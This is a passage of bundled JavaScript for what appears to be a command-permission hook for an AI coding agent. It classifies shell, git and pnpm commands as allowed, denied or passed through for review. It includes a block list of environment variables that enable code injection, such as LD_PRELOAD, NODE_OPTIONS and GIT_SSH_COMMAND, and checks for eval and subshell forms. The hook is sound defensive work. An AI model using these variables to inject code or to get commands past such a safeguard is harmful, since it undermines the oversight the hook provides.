/^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-read-only-form\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOnlyForm(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx),\n advise: (tokens, ctx) => isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n }\n];\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* `settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) -- safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) {\n const advice = rule.advise?.(tokens, ctx);\n return {\n action: \"allow\",\n rule: rule.name,\n reason: null,\n ...advice ? { advice } : {}\n };\n }\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c -> passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n 